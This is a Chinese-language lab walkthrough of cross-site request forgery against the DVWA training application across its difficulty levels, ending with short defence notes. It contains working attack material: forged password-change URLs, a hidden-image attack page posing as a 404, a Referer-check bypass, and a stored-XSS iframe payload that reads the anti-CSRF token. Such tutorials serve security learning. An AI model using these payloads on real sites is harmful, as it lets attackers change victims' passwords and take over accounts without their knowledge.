CSRF简介
CSRF,跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)
CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie,而是直接利用
LOW级别
简单利用
构造恶意链接
1
http://172.16.12.93/vulnerabilities/csrf/?password_new=password123&password_conf=password123&Change=Change#
被攻击者在登陆网站的情况下点击恶意链接
被攻击者密码在不知情的情况下被修改

简单伪装
网址缩短

使受害者无法通过域名分辨
再次修改密码
当点击短链接后,会自动跳转到长网址,进行密码修改
加强伪装
构造攻击页面
即使
URL地址被缩短,但被点击后,仍然会跳转原URL地址,并且会提示密码被修改,使得被攻击者发觉密码被修改现实攻击场景下,需要在公网上事先上传一个攻击页面,诱使被攻击者去访问,真正能够在受害者不知情的情况下完成
CSRF攻击此处,使用192.168.1.4作为公网服务器,用于演示
攻击页面
test.html代码1
2
3
4
5
6
7<html>
<body>
<img src="http://172.16.12.93/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>error</h1>
<h2>404</h2>
</body>
</html>
当被攻击者在登陆
DVWA的情况下,点击攻击页面的链接,误以为自己点击一个失效的URL,但实际上已经遭受到CSRF攻击,密码已经被修改
Medium级别
Medium级别检查了http包头的Referer参数的值,查看其中是否包含http包头的Host参数,希望通过这种机制抵御CSRF攻击

修改攻击页面名称为DVWA主机地址,即可绕过



High级别
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求

进行漏洞利用,要绕过High级别的反CSRF机制,关键是要获取token
利用
High级别存储型XSS获取token注入代码:
1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>


构造一次性修改密码恶意链接
1
http://172.16.12.93/vulnerabilities/csrf/?password_new=password123&password_conf=password123&Change=Change&user_token=0aeba5f4c30a41b5df742056e383a2e9#
在登陆
DVWA的情况下,点击链接,则会更改密码
但恶意链接只可使用一次,再次请求则会显示错误

Impossible级别
在修改密码时,要求输入原始密码,用于防止CSRF攻击
CSRF防御
设置
Referer,用于标识此次请求从哪个页面过来的Anti CSRF Token重要操作进行二次验证